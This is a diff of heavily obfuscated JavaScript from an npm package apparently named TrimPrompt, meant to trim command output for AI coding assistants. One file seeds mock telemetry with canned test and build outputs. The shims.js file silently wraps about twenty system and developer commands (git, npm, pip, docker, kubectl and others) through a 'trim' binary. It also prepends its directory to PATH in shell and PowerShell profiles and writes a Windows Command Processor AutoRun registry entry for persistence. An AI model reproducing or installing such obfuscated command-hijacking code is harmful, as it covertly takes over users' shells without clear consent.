a0_0x1c78();}console['log']('Seeding\x20TrimPrompt\x20database\x20with\x20mock\x20LLM\x20command\x20telemetry...'),process[a0_0x2bedc9(0x8b)]['TRIMPROMPT_MODEL']=a0_0x2bedc9(0xa1),tracker_1[a0_0x2bedc9(0x83)][a0_0x2bedc9(0x87)](a0_0x2bedc9(0x99),a0_0x2bedc9(0x9c)+a0_0x2bedc9(0x93)+a0_0x2bedc9(0x9f)+a0_0x2bedc9(0x9e)[a0_0x2bedc9(0x8d)](0x190),a0_0x2bedc9(0xa4),0x0),process[a0_0x2bedc9(0x8b)][a0_0x2bedc9(0x88)]='gpt-4o',tracker_1[a0_0x2bedc9(0x83)]['logExecution']('pytest\x20tests/app',a0_0x2bedc9(0xa3)+a0_0x2bedc9(0x85)+a0_0x2bedc9(0x95)+a0_0x2bedc9(0x84)[a0_0x2bedc9(0x8d)](0x12c)+a0_0x2bedc9(0x8a),a0_0x2bedc9(0x94),0x0),process[a0_0x2bedc9(0x8b)]['TRIMPROMPT_MODEL']=a0_0x2bedc9(0xa5),tracker_1['tracker'][a0_0x2bedc9(0x87)]('docker\x20build\x20.','Sending\x20build\x20context\x20to\x20Docker\x20daemon...\x0a'+a0_0x2bedc9(0x9b)+a0_0x2bedc9(0x81)+a0_0x2bedc9(0x9a)+a0_0x2bedc9(0xa7)[a0_0x2bedc9(0x8d)](0x3)+a0_0x2bedc9(0xa8),a0_0x2bedc9(0x8c),0x0),console[a0_0x2bedc9(0x89)]('Database\x20successfully\x20seeded!');
1
+ 'use strict';const a0_0x46bdf0=a0_0x3d1d;(function(_0x3c1ed3,_0xc71de2){const _0x1f6650=a0_0x3d1d,_0x582ab4=_0x3c1ed3();while(!![]){try{const _0x2e26f0=-parseInt(_0x1f6650(0x14a))/0x1+-parseInt(_0x1f6650(0x14c))/0x2*(-parseInt(_0x1f6650(0x136))/0x3)+parseInt(_0x1f6650(0x13b))/0x4+parseInt(_0x1f6650(0x12b))/0x5+parseInt(_0x1f6650(0x147))/0x6+parseInt(_0x1f6650(0x13c))/0x7*(-parseInt(_0x1f6650(0x12f))/0x8)+-parseInt(_0x1f6650(0x148))/0x9;if(_0x2e26f0===_0xc71de2)break;else _0x582ab4['push'](_0x582ab4['shift']());}catch(_0x44152c){_0x582ab4['push'](_0x582ab4['shift']());}}}(a0_0x140a,0x45454));function a0_0x3d1d(_0x25ba35,_0x42670e){_0x25ba35=_0x25ba35-0x126;const _0x140a6=a0_0x140a();let _0x3d1d1b=_0x140a6[_0x25ba35];return _0x3d1d1b;}Object[a0_0x46bdf0(0x132)](exports,a0_0x46bdf0(0x145),{'value':!![]});const tracker_1=require(a0_0x46bdf0(0x134));function a0_0x140a(){const _0x19f365=['2770280UOQUiA','Seeding\x20TrimPrompt\x20database\x20with\x20mock\x20LLM\x20command\x20telemetry...','test_api.py\x20PASS\x0a','[INFO]\x20Building\x20modules...\x0a','32aacgtM','All\x20303\x20tests\x20passed\x20in\x204.22s.','test_auth.py\x20PASS\x0a','defineProperty','added\x201420\x20packages\x20in\x2014s\x0a','./tracker','docker\x20build:\x201420\x20packages\x20added.\x20Successfully\x20built\x20image.','7485xYsERL','claude-3-opus','Optimizing\x20assets...\x0a','Step\x202/10\x20:\x20COPY\x20package.json\x20.\x0a','test_db.py\x20PASS\x0a','1278460TwOOzb','155813ZmyiiY','npm\x20run\x20build','pytest\x20app:\x20303\x20tests\x20passed\x20in\x204.22s.','Compilation\x20Output:\x0a','Database\x20successfully\x20seeded!','logExecution','Successfully\x20built\x20image.','repeat','tracker','__esModule','[INFO]\x20Building\x20modules...\x0a[SUCCESS]\x20Compiled\x20512\x20modules.\x20(repeated\x20400\x20times)','1595190CqwxfX','8410545HsLmmV','docker\x20build\x20.','46833mawcAJ','pytest\x20tests/app','172eeBkBq','log','Sending\x20build\x20context\x20to\x20Docker\x20daemon...\x0a','gemini-1-5-pro','Test\x20suite\x20run\x20starting...\x0a','[SUCCESS]\x20Compiled\x20512\x20modules.\x0a'];a0_0x140a=function(){return _0x19f365;};return a0_0x140a();}console[a0_0x46bdf0(0x126)](a0_0x46bdf0(0x12c)),process.env.TRIMPROMPT_MODEL=a0_0x46bdf0(0x137),tracker_1[a0_0x46bdf0(0x144)][a0_0x46bdf0(0x141)](a0_0x46bdf0(0x13d),a0_0x46bdf0(0x13f)+a0_0x46bdf0(0x12e)+a0_0x46bdf0(0x138)+a0_0x46bdf0(0x12a)[a0_0x46bdf0(0x143)](0x190),a0_0x46bdf0(0x146),0x0),process.env.TRIMPROMPT_MODEL='gpt-4o',tracker_1[a0_0x46bdf0(0x144)]['logExecution'](a0_0x46bdf0(0x14b),a0_0x46bdf0(0x129)+a0_0x46bdf0(0x131)+a0_0x46bdf0(0x13a)+a0_0x46bdf0(0x12d)['repeat'](0x12c)+a0_0x46bdf0(0x130),a0_0x46bdf0(0x13e),0x0),process.env.TRIMPROMPT_MODEL=a0_0x46bdf0(0x128),tracker_1[a0_0x46bdf0(0x144)][a0_0x46bdf0(0x141)](a0_0x46bdf0(0x149),a0_0x46bdf0(0x127)+'Step\x201/10\x20:\x20FROM\x20node:20\x0a'+a0_0x46bdf0(0x139)+'Step\x203/10\x20:\x20RUN\x20npm\x20install\x0a'+a0_0x46bdf0(0x133)[a0_0x46bdf0(0x143)](0x3)+a0_0x46bdf0(0x142),a0_0x46bdf0(0x135),0x0),console[a0_0x46bdf0(0x126)](a0_0x46bdf0(0x140));
package/shims.js CHANGED
@@ -1 +1 @@
1
- 'use strict';const a0_0xdd3b12=a0_0x25d0;(function(_0x35b1c3,_0x1a58d5){const _0x2dcd17=a0_0x25d0,_0x18f96a=_0x35b1c3();while(!![]){try{const _0x2dcc88=parseInt(_0x2dcd17(0x103))/0x1*(-parseInt(_0x2dcd17(0x12a))/0x2)+parseInt(_0x2dcd17(0x13f))/0x3+parseInt(_0x2dcd17(0x115))/0x4*(-parseInt(_0x2dcd17(0xf5))/0x5)+parseInt(_0x2dcd17(0x11b))/0x6+-parseInt(_0x2dcd17(0xd8))/0x7+parseInt(_0x2dcd17(0x144))/0x8+-parseInt(_0x2dcd17(0x102))/0x9*(-parseInt(_0x2dcd17(0x10a))/0xa);if(_0x2dcc88===_0x1a58d5)break;else _0x18f96a['push'](_0x18f96a['shift']());}catch(_0x51d6e8){_0x18f96a['push'](_0x18f96a['shift']());}}}(a0_0x5b82,0xd4288));var __createBinding=this&&this[a0_0xdd3b12(0x12f)]||(Object[a0_0xdd3b12(0x145)]?function(_0x29bed0,_0x3ad209,_0x2f8b48,_0x39383e){const _0x1ad813=a0_0xdd3b12;if(_0x39383e===undefined)_0x39383e=_0x2f8b48;var _0x5812e9=Object[_0x1ad813(0x113)](_0x3ad209,_0x2f8b48);(!_0x5812e9||(_0x1ad813(0x127)in _0x5812e9?!_0x3ad209[_0x1ad813(0x119)]:_0x5812e9[_0x1ad813(0x106)]||_0x5812e9[_0x1ad813(0x110)]))&&(_0x5812e9={'enumerable':!![],'get':function(){return _0x3ad209[_0x2f8b48];}}),Object[_0x1ad813(0x132)](_0x29bed0,_0x39383e,_0x5812e9);}:function(_0x49627c,_0xa61d8c,_0x314d38,_0x414318){if(_0x414318===undefined)_0x414318=_0x314d38;_0x49627c[_0x414318]=_0xa61d8c[_0x314d38];}),__setModuleDefault=this&&this[a0_0xdd3b12(0xfc)]||(Object[a0_0xdd3b12(0x145)]?function(_0x27f840,_0x2ea333){const _0x4e4a3a=a0_0xdd3b12;Object[_0x4e4a3a(0x132)](_0x27f840,_0x4e4a3a(0x131),{'enumerable':!![],'value':_0x2ea333});}:function(_0x105d0a,_0x1cad76){const _0x366b71=a0_0xdd3b12;_0x105d0a[_0x366b71(0x131)]=_0x1cad76;}),__importStar=this&&this[a0_0xdd3b12(0x11f)]||(function(){var _0x1a7f7e=function(_0x10d8fb){return _0x1a7f7e=Object['getOwnPropertyNames']||function(_0x19a5d4){const _0x4b7c26=a0_0x25d0;var _0x397c73=[];for(var _0x7fdbce in _0x19a5d4)if(Object[_0x4b7c26(0x11e)][_0x4b7c26(0x123)][_0x4b7c26(0xe4)](_0x19a5d4,_0x7fdbce))_0x397c73[_0x397c73[_0x4b7c26(0xd9)]]=_0x7fdbce;return _0x397c73;},_0x1a7f7e(_0x10d8fb);};return function(_0x350b39){const _0x1431a5=a0_0x25d0;if(_0x350b39&&_0x350b39[_0x1431a5(0x119)])return _0x350b39;var _0x50df3d={};if(_0x350b39!=null){for(var _0x23fa80=_0x1a7f7e(_0x350b39),_0x528998=0x0;_0x528998<_0x23fa80[_0x1431a5(0xd9)];_0x528998++)if(_0x23fa80[_0x528998]!==_0x1431a5(0x131))__createBinding(_0x50df3d,_0x350b39,_0x23fa80[_0x528998]);}return __setModuleDefault(_0x50df3d,_0x350b39),_0x50df3d;};}());function a0_0x25d0(_0x177073,_0x3f44e7){const _0x5b827f=a0_0x5b82();return a0_0x25d0=function(_0x25d063,_0x5bca79){_0x25d063=_0x25d063-0xd3;let _0x544d92=_0x5b827f[_0x25d063];return _0x544d92;},a0_0x25d0(_0x177073,_0x3f44e7);}Object[a0_0xdd3b12(0x132)](exports,a0_0xdd3b12(0x119),{'value':!![]}),exports[a0_0xdd3b12(0x101)]=installShims,exports[a0_0xdd3b12(0x142)]=uninstallShims;const fs=__importStar(require('fs')),path=__importStar(require(a0_0xdd3b12(0x12c))),os=__importStar(require('os')),SHIMMED_COMMANDS=['ls',a0_0xdd3b12(0xfb),a0_0xdd3b12(0xd7),a0_0xdd3b12(0xee),'grep','rg',a0_0xdd3b12(0x136),'git','gh',a0_0xdd3b12(0xe2),a0_0xdd3b12(0x13c),a0_0xdd3b12(0x12e),'pnpm',a0_0xdd3b12(0xf9),'yarn',a0_0xdd3b12(0x11c),a0_0xdd3b12(0xdf),'pytest',a0_0xdd3b12(0x114),a0_0xdd3b12(0x120),'go'],PROFILE_MARKER=a0_0xdd3b12(0xd3);function getExecSync(){const _0xbbbe=a0_0xdd3b12;return require(_0xbbbe(0xfd))[_0xbbbe(0xfa)];}function getExecFileSync(){const _0x572706=a0_0xdd3b12;return require('child_process')[_0x572706(0x13e)];}function a0_0x5b82(){const _0x1fe27c=['1668222ZtmJox','powershell\x20-NoProfile\x20-Command\x20\x22','\x27\x20-Name\x20AutoRun\x20-ErrorAction\x20Stop).AutoRun\x20}\x20catch\x20{\x20\x27\x27\x20}','uninstallShims','\x27\x20-Name\x20AutoRun\x20-ErrorAction\x20SilentlyContinue','8895040PabaIT','create','homedir','TrimPrompt\x20Shims\x20PATH','try\x20{\x20(Get-ItemProperty\x20-Path\x20\x27','replace','appendFileSync','cat','3390485rFiPVk','length','pipe','mkdirSync','-NoProfile','ignore',':$PATH\x22','docker','\x20\x22$@\x22\x0a','TrimPrompt\x20shims\x20successfully\x20installed\x20for\x20','glab','powershell.exe','call','.zshrc','[Environment]::GetEnvironmentVariable(\x27PATH\x27,\x20\x27User\x27)','\x20&\x20','utf8','\x27\x20-Name\x20AutoRun\x20-Value\x20\x27','.ps1','push','pwsh','message','read','[WARNING]\x20Could\x20not\x20automatically\x20update\x20your\x20system\x20PATH.\x20','$PROFILE.CurrentUserAllHosts','powershell','pwsh\x20-NoProfile\x20-Command\x20\x22exit\x200\x22','.trimprompt','$PROFILE.CurrentUserCurrentHost','454715caFhFU','filter','shims',';\x22\x20+\x20$env:PATH\x0a','npx','execSync','tree','__setModuleDefault','child_process','HKCU:\x5cSoftware\x5cMicrosoft\x5cCommand\x20Processor','join','.bashrc','installShims','63tztsSs','13487TEaoRm','trim','if\x20exist\x20\x22','writable','export\x20PATH=\x22','includes','\x20-NoProfile\x20-Command\x20\x22','1949080qIQdbD',';%PATH%\x22','755','.cmd','[Environment]::SetEnvironmentVariable(\x27PATH\x27,\x20\x27',':$PATH\x22\x0a','configurable','\x22\x20set\x20\x22PATH=','toLowerCase','getOwnPropertyDescriptor','pip','76VwqzBD','writeFileSync','-Command','.profile','__esModule','readFileSync','698382EUOqHg','kubectl','win32','prototype','__importStar','pip3','APPDATA','rmdirSync','hasOwnProperty','existsSync','#!/bin/sh\x0aexec\x20trim\x20','map','get','Please\x20add\x20the\x20following\x20path\x20to\x20the\x20front\x20of\x20your\x20User\x20PATH\x20environment\x20variable\x20manually:\x0a\x20\x20','\x0a#\x20','10mMaPoc','\x0aexport\x20PATH=\x22','path','unlinkSync','npm','__createBinding','dirname','default','defineProperty','\x0a$env:PATH\x20=\x20\x22','&\x20trim\x20','Failed\x20to\x20uninstall\x20shims:\x20','ruff','chmodSync','.bash_profile','split','\x27\x20-Force\x20|\x20Out-Null;\x20Set-ItemProperty\x20-Path\x20\x27','platform','cargo','\x27,\x20\x27User\x27)','execFileSync'];a0_0x5b82=function(){return _0x1fe27c;};return a0_0x5b82();}function ensureProfileContains(_0x1b2315,_0x107f79,_0x252c0c){const _0x2f415d=a0_0xdd3b12;try{const _0x2c8d01=path[_0x2f415d(0x130)](_0x1b2315);!fs[_0x2f415d(0x124)](_0x2c8d01)&&fs['mkdirSync'](_0x2c8d01,{'recursive':!![]});if(fs[_0x2f415d(0x124)](_0x1b2315)){const _0x565339=fs[_0x2f415d(0x11a)](_0x1b2315,_0x2f415d(0xe8));if(_0x565339[_0x2f415d(0x108)](_0x107f79))return;fs[_0x2f415d(0xd6)](_0x1b2315,_0x252c0c,_0x2f415d(0xe8));}else fs['writeFileSync'](_0x1b2315,_0x252c0c,_0x2f415d(0xe8));}catch{}}function removeProfileBlock(_0x53d90c,_0x338b35){const _0x597fc8=a0_0xdd3b12;try{if(!fs['existsSync'](_0x53d90c))return;const _0xc92247=fs[_0x597fc8(0x11a)](_0x53d90c,'utf8');if(!_0xc92247[_0x597fc8(0x108)](_0x338b35))return;const _0x386913=_0xc92247['split']('\x0a'),_0x1337ff=[];let _0x1fb669=![];for(let _0x3bedf3=0x0;_0x3bedf3<_0x386913[_0x597fc8(0xd9)];_0x3bedf3++){if(_0x386913[_0x3bedf3][_0x597fc8(0x108)](_0x338b35)){_0x1fb669=!![];continue;}if(_0x1fb669){_0x1fb669=![];continue;}_0x1337ff[_0x597fc8(0xeb)](_0x386913[_0x3bedf3]);}const _0x34119f=_0x1337ff[_0x597fc8(0xff)]('\x0a')['replace'](/\n{3,}/g,'\x0a\x0a');fs[_0x597fc8(0x116)](_0x53d90c,_0x34119f,_0x597fc8(0xe8));}catch{}}function collectPowerShellProfiles(){const _0x473d37=a0_0xdd3b12,_0x36fd7b=getExecSync(),_0x4afdb9=[],_0x3f3395=[[_0x473d37(0xf1),_0x473d37(0xf4)],[_0x473d37(0xf1),_0x473d37(0xf0)]];try{_0x36fd7b(_0x473d37(0xf2),{'stdio':_0x473d37(0xdd)}),_0x3f3395[_0x473d37(0xeb)]([_0x473d37(0xec),'$PROFILE.CurrentUserAllHosts']);}catch{}for(const [_0x65a5f9,_0x3b9ac4]of _0x3f3395){try{const _0x12cbf5=_0x36fd7b(_0x65a5f9+_0x473d37(0x109)+_0x3b9ac4+'\x22',{'encoding':_0x473d37(0xe8)})[_0x473d37(0x104)]();_0x12cbf5&&!_0x4afdb9['some'](_0x40a818=>_0x40a818[_0x473d37(0x112)]()===_0x12cbf5[_0x473d37(0x112)]())&&_0x4afdb9[_0x473d37(0xeb)](_0x12cbf5);}catch{}}return _0x4afdb9;}function getBashProfilesWindows(){const _0x29acd6=a0_0xdd3b12,_0x3a1240=os[_0x29acd6(0x146)]();return[_0x29acd6(0x100),_0x29acd6(0x138)][_0x29acd6(0x126)](_0x2d6086=>path[_0x29acd6(0xff)](_0x3a1240,_0x2d6086));}function getBroadcastCommand(){return'$sig\x20=\x20\x27[DllImport(\x5c\x22user32.dll\x5c\x22,\x20SetLastError\x20=\x20true,\x20CharSet\x20=\x20CharSet.Auto)]\x20public\x20static\x20extern\x20IntPtr\x20SendMessageTimeout(IntPtr\x20hWnd,\x20uint\x20Msg,\x20IntPtr\x20wParam,\x20string\x20lParam,\x20uint\x20fuFlags,\x20uint\x20uTimeout,\x20out\x20IntPtr\x20lpdwResult);\x27;\x20Add-Type\x20-MemberDefinition\x20$sig\x20-Name\x20\x5c\x22Win32\x5c\x22\x20-Namespace\x20\x5c\x22Win32\x5c\x22\x20-PassThru\x20>\x20$null;\x20[IntPtr]$res\x20=\x200;\x20[void][Win32.Win32]::SendMessageTimeout([IntPtr]0xffff,\x200x001A,\x20[IntPtr]::Zero,\x20\x5c\x22Environment\x5c\x22,\x202,\x201000,\x20[ref]$res);';}function installShims(){const _0x493cdc=a0_0xdd3b12,_0x182b2d=path[_0x493cdc(0xff)](os['homedir'](),_0x493cdc(0xf3),_0x493cdc(0xf7));try{!fs[_0x493cdc(0x124)](_0x182b2d)&&fs[_0x493cdc(0xdb)](_0x182b2d,{'recursive':!![]});const _0x7be3ad=os[_0x493cdc(0x13b)]()===_0x493cdc(0x11d);for(const _0x4ef416 of SHIMMED_COMMANDS){if(_0x7be3ad){const _0x32e834=path['join'](_0x182b2d,_0x4ef416+_0x493cdc(0x10d));fs[_0x493cdc(0x116)](_0x32e834,'@echo\x20off\x0atrim\x20'+_0x4ef416+'\x20%*\x0a',_0x493cdc(0xe8));const _0x10d330=path['join'](_0x182b2d,_0x4ef416+_0x493cdc(0xea));fs[_0x493cdc(0x116)](_0x10d330,_0x493cdc(0x134)+_0x4ef416+'\x20@args\x0a',_0x493cdc(0xe8));const _0x15ce5f=path[_0x493cdc(0xff)](_0x182b2d,_0x4ef416);fs[_0x493cdc(0x116)](_0x15ce5f,'#!/bin/sh\x0aexec\x20trim\x20'+_0x4ef416+_0x493cdc(0xe0),_0x493cdc(0xe8));}else{const _0x4e4f5f=path['join'](_0x182b2d,_0x4ef416);fs['writeFileSync'](_0x4e4f5f,_0x493cdc(0x125)+_0x4ef416+_0x493cdc(0xe0),'utf8'),fs[_0x493cdc(0x137)](_0x4e4f5f,_0x493cdc(0x10c));}}let _0x1f17d0=![],_0xcf1a8c='';if(_0x7be3ad)try{const _0x13f748=getExecSync(),_0x3e5d15='\x0a#\x20'+PROFILE_MARKER+_0x493cdc(0x133)+_0x182b2d+_0x493cdc(0xf8),_0x535ea2=collectPowerShellProfiles();for(const _0x3d922b of _0x535ea2){ensureProfileContains(_0x3d922b,_0x182b2d,_0x3e5d15);}try{const _0x4dd084=getExecFileSync(),_0x391ac8=_0x493cdc(0x105)+_0x182b2d+_0x493cdc(0x111)+_0x182b2d+_0x493cdc(0x10b),_0x3eefd9='HKCU:\x5cSoftware\x5cMicrosoft\x5cCommand\x20Processor';let _0x38e9d1='';try{const _0x2a321e=_0x493cdc(0xd4)+_0x3eefd9+'\x27\x20-Name\x20AutoRun\x20-ErrorAction\x20Stop).AutoRun\x20}\x20catch\x20{\x20\x27\x27\x20}';_0x38e9d1=_0x4dd084(_0x493cdc(0xe3),[_0x493cdc(0xdc),_0x493cdc(0x117),_0x2a321e],{'encoding':_0x493cdc(0xe8),'stdio':['pipe',_0x493cdc(0xda),'ignore']})[_0x493cdc(0x104)]();}catch{}if(!_0x38e9d1[_0x493cdc(0x108)](_0x182b2d)){const _0x27eca0=_0x38e9d1?_0x38e9d1+_0x493cdc(0xe7)+_0x391ac8:_0x391ac8,_0x16dff6='New-Item\x20-Path\x20\x27'+_0x3eefd9+_0x493cdc(0x13a)+_0x3eefd9+_0x493cdc(0xe9)+_0x27eca0+'\x27';_0x4dd084(_0x493cdc(0xe3),['-NoProfile',_0x493cdc(0x117),_0x16dff6],{'stdio':_0x493cdc(0xdd)});}}catch{}try{const _0x1c162d=_0x182b2d[_0x493cdc(0xd5)](/\\/g,'/')['replace'](/^([A-Za-z]):/,(_0x509655,_0x874c77)=>'/'+_0x874c77[_0x493cdc(0x112)]()),_0x49f839='\x0a#\x20'+PROFILE_MARKER+_0x493cdc(0x12b)+_0x1c162d+_0x493cdc(0x10f),_0x32eecb=getBashProfilesWindows();let _0x398e7c=![];for(const _0x27361b of _0x32eecb){fs[_0x493cdc(0x124)](_0x27361b)&&(ensureProfileContains(_0x27361b,_0x1c162d,_0x49f839),_0x398e7c=!![]);}!_0x398e7c&&ensureProfileContains(_0x32eecb[0x0],_0x1c162d,_0x49f839);}catch{}const _0x41bff4='[Environment]::GetEnvironmentVariable(\x27PATH\x27,\x20\x27User\x27)',_0x40e398=_0x13f748('powershell\x20-NoProfile\x20-Command\x20\x22'+_0x41bff4+'\x22',{'encoding':_0x493cdc(0xe8),'stdio':[_0x493cdc(0xda),_0x493cdc(0xda),_0x493cdc(0xdd)]})[_0x493cdc(0x104)]();if(!_0x40e398['includes'](_0x182b2d)){const _0x335bb0=_0x182b2d+';'+_0x40e398,_0x46a0b2=_0x335bb0[_0x493cdc(0xd5)](/'/g,'\x27\x27'),_0x3c7ff5=_0x493cdc(0x10e)+_0x46a0b2+'\x27,\x20\x27User\x27)';_0x13f748('powershell\x20-NoProfile\x20-Command\x20\x22'+_0x3c7ff5+';\x20'+getBroadcastCommand()+'\x22',{'stdio':_0x493cdc(0xdd)});}const _0x18fb89=path['join'](process['env'][_0x493cdc(0x121)]||'',_0x493cdc(0x12e),'trim.ps1');if(fs[_0x493cdc(0x124)](_0x18fb89))try{fs[_0x493cdc(0x12d)](_0x18fb89);}catch{}_0x1f17d0=!![];}catch(_0x2d73ab){_0xcf1a8c=_0x493cdc(0x128)+_0x182b2d;}else try{const _0x5aa4e2=_0x493cdc(0x107)+_0x182b2d+_0x493cdc(0x10f),_0x4b6d68=os[_0x493cdc(0x146)](),_0xfe37e2=['.bashrc',_0x493cdc(0xe5),_0x493cdc(0x138),_0x493cdc(0x118)];let _0x588980=![];for(const _0x3643ce of _0xfe37e2){const _0x4e565b=path['join'](_0x4b6d68,_0x3643ce);fs[_0x493cdc(0x124)](_0x4e565b)&&(ensureProfileContains(_0x4e565b,_0x182b2d,_0x493cdc(0x129)+PROFILE_MARKER+'\x0a'+_0x5aa4e2),_0x588980=!![]);}if(!_0x588980){const _0x5653cd=path[_0x493cdc(0xff)](_0x4b6d68,_0x493cdc(0x100));ensureProfileContains(_0x5653cd,_0x182b2d,_0x493cdc(0x129)+PROFILE_MARKER+'\x0a'+_0x5aa4e2);}_0x1f17d0=!![];}catch(_0x1ab886){_0xcf1a8c='Please\x20add\x20this\x20to\x20your\x20shell\x20profile\x20(~/.bashrc,\x20~/.zshrc)\x20manually:\x0a\x20\x20export\x20PATH=\x22'+_0x182b2d+_0x493cdc(0xde);}const _0x1964a0=_0x493cdc(0xe1)+SHIMMED_COMMANDS['length']+'\x20commands.\x0a\x0a',_0x45172e=_0x1f17d0?_0x1964a0+'[SUCCESS]\x20Your\x20system\x20PATH\x20has\x20been\x20automatically\x20and\x20permanently\x20updated\x20to\x20run\x20TrimPrompt\x20in\x20the\x20background.\x0aThis\x20setup\x20persists\x20across\x20system\x20restarts.\x0a\x0a*Note*:\x20Please\x20restart\x20your\x20active\x20terminal\x20window\x20or\x20AI\x20assistant\x20(e.g.\x20Claude\x20Code/Cursor)\x20for\x20the\x20environment\x20changes\x20to\x20take\x20effect.':_0x1964a0+_0x493cdc(0xef)+_0xcf1a8c;return{'success':!![],'pathDir':_0x182b2d,'message':_0x45172e};}catch(_0x53c463){return{'success':![],'pathDir':_0x182b2d,'message':'Failed\x20to\x20install\x20shims:\x20'+_0x53c463[_0x493cdc(0xed)]};}}function uninstallShims(){const _0x3a8da2=a0_0xdd3b12,_0x735b82=path['join'](os[_0x3a8da2(0x146)](),_0x3a8da2(0xf3),'shims'),_0x52e4f5=os['platform']()===_0x3a8da2(0x11d);try{if(_0x52e4f5){const _0x22ee2e=getExecSync();try{const _0x4f24f2=getExecFileSync(),_0x53fc7d=_0x3a8da2(0xfe),_0x11fb7d=_0x3a8da2(0xd4)+_0x53fc7d+_0x3a8da2(0x141),_0x46edce=_0x4f24f2(_0x3a8da2(0xe3),[_0x3a8da2(0xdc),'-Command',_0x11fb7d],{'encoding':_0x3a8da2(0xe8),'stdio':['pipe',_0x3a8da2(0xda),_0x3a8da2(0xdd)]})['trim']();if(_0x46edce[_0x3a8da2(0x108)](_0x735b82)){const _0x55f0fe=_0x46edce[_0x3a8da2(0x139)](_0x3a8da2(0xe7))[_0x3a8da2(0xf6)](_0xfd91ee=>!_0xfd91ee['includes'](_0x735b82));if(_0x55f0fe['length']===0x0){const _0x3a88f5='Remove-ItemProperty\x20-Path\x20\x27'+_0x53fc7d+_0x3a8da2(0x143);_0x4f24f2(_0x3a8da2(0xe3),[_0x3a8da2(0xdc),_0x3a8da2(0x117),_0x3a88f5],{'stdio':_0x3a8da2(0xdd)});}else{const _0xc5636a=_0x55f0fe[_0x3a8da2(0xff)](_0x3a8da2(0xe7)),_0x16f801='Set-ItemProperty\x20-Path\x20\x27'+_0x53fc7d+_0x3a8da2(0xe9)+_0xc5636a+'\x27';_0x4f24f2(_0x3a8da2(0xe3),[_0x3a8da2(0xdc),_0x3a8da2(0x117),_0x16f801],{'stdio':_0x3a8da2(0xdd)});}}}catch{}try{const _0x493ef4=collectPowerShellProfiles();for(const _0x2beaf8 of _0x493ef4){removeProfileBlock(_0x2beaf8,PROFILE_MARKER);}}catch{}try{for(const _0x3b9968 of getBashProfilesWindows()){removeProfileBlock(_0x3b9968,PROFILE_MARKER);}}catch{}try{const _0x28cd3e=_0x3a8da2(0xe6),_0x4fcc43=_0x22ee2e(_0x3a8da2(0x140)+_0x28cd3e+'\x22',{'encoding':_0x3a8da2(0xe8),'stdio':[_0x3a8da2(0xda),_0x3a8da2(0xda),_0x3a8da2(0xdd)]})[_0x3a8da2(0x104)]();if(_0x4fcc43[_0x3a8da2(0x108)](_0x735b82)){const _0x5d37b8=_0x4fcc43[_0x3a8da2(0x139)](';')[_0x3a8da2(0xf6)](_0x33ac27=>_0x33ac27[_0x3a8da2(0x104)]()[_0x3a8da2(0x112)]()!==_0x735b82[_0x3a8da2(0x112)]())[_0x3a8da2(0xff)](';'),_0x47deb5=_0x5d37b8[_0x3a8da2(0xd5)](/'/g,'\x27\x27'),_0xd4e936=_0x3a8da2(0x10e)+_0x47deb5+_0x3a8da2(0x13d);_0x22ee2e(_0x3a8da2(0x140)+_0xd4e936+';\x20'+getBroadcastCommand()+'\x22',{'stdio':'ignore'});}}catch{}}else{const _0x5ec648=os[_0x3a8da2(0x146)](),_0x5d5ef8=['.bashrc','.zshrc','.bash_profile',_0x3a8da2(0x118)];for(const _0x59334f of _0x5d5ef8){removeProfileBlock(path[_0x3a8da2(0xff)](_0x5ec648,_0x59334f),PROFILE_MARKER);}}if(fs['existsSync'](_0x735b82)){const _0x3f8e24=fs['readdirSync'](_0x735b82);for(const _0x5777cc of _0x3f8e24){fs[_0x3a8da2(0x12d)](path[_0x3a8da2(0xff)](_0x735b82,_0x5777cc));}fs[_0x3a8da2(0x122)](_0x735b82);}return{'success':!![],'message':'TrimPrompt\x20shims\x20fully\x20uninstalled.\x20All\x20PATH\x20modifications,\x20shell\x20profiles,\x20and\x20registry\x20entries\x20have\x20been\x20cleaned\x20up.'};}catch(_0x2c0fc7){return{'success':![],'message':_0x3a8da2(0x135)+_0x2c0fc7[_0x3a8da2(0xed)]};}}
1
+ 'use strict';function a0_0x89ff(_0x30e46a,_0x15e9fb){_0x30e46a=_0x30e46a-0xa5;const _0x1f193d=a0_0x1f19();let _0x89ffc4=_0x1f193d[_0x30e46a];return _0x89ffc4;}const a0_0x3a2dde=a0_0x89ff;(function(_0x419b80,_0x2885bb){const _0x2b9f86=a0_0x89ff,_0x546572=_0x419b80();while(!![]){try{const _0x404881=-parseInt(_0x2b9f86(0xd1))/0x1*(-parseInt(_0x2b9f86(0xf2))/0x2)+parseInt(_0x2b9f86(0xeb))/0x3*(-parseInt(_0x2b9f86(0xf5))/0x4)+-parseInt(_0x2b9f86(0xb5))/0x5+parseInt(_0x2b9f86(0xc3))/0x6*(parseInt(_0x2b9f86(0x10b))/0x7)+parseInt(_0x2b9f86(0xb7))/0x8*(-parseInt(_0x2b9f86(0xe8))/0x9)+-parseInt(_0x2b9f86(0xf8))/0xa*(parseInt(_0x2b9f86(0xdc))/0xb)+parseInt(_0x2b9f86(0xcb))/0xc;if(_0x404881===_0x2885bb)break;else _0x546572['push'](_0x546572['shift']());}catch(_0xe666df){_0x546572['push'](_0x546572['shift']());}}}(a0_0x1f19,0xba4ec));var __createBinding=this&&this[a0_0x3a2dde(0xc5)]||(Object[a0_0x3a2dde(0xd5)]?function(_0x2a76bb,_0x8d6ed5,_0x256b89,_0x2cfd3c){const _0x197b03=a0_0x3a2dde;if(_0x2cfd3c===undefined)_0x2cfd3c=_0x256b89;var _0x22b5d5=Object[_0x197b03(0xcc)](_0x8d6ed5,_0x256b89);(!_0x22b5d5||(_0x197b03(0xb0)in _0x22b5d5?!_0x8d6ed5[_0x197b03(0xe5)]:_0x22b5d5[_0x197b03(0xe7)]||_0x22b5d5['configurable']))&&(_0x22b5d5={'enumerable':!![],'get':function(){return _0x8d6ed5[_0x256b89];}}),Object[_0x197b03(0xab)](_0x2a76bb,_0x2cfd3c,_0x22b5d5);}:function(_0xc6604e,_0x3f489f,_0x2044d6,_0xc46d85){if(_0xc46d85===undefined)_0xc46d85=_0x2044d6;_0xc6604e[_0xc46d85]=_0x3f489f[_0x2044d6];}),__setModuleDefault=this&&this[a0_0x3a2dde(0xde)]||(Object[a0_0x3a2dde(0xd5)]?function(_0x448891,_0x402b6e){const _0x12808c=a0_0x3a2dde;Object[_0x12808c(0xab)](_0x448891,'default',{'enumerable':!![],'value':_0x402b6e});}:function(_0x2c8d34,_0x302154){const _0x163edf=a0_0x3a2dde;_0x2c8d34[_0x163edf(0x114)]=_0x302154;}),__importStar=this&&this[a0_0x3a2dde(0x102)]||(function(){var _0x13293b=function(_0x262b81){return 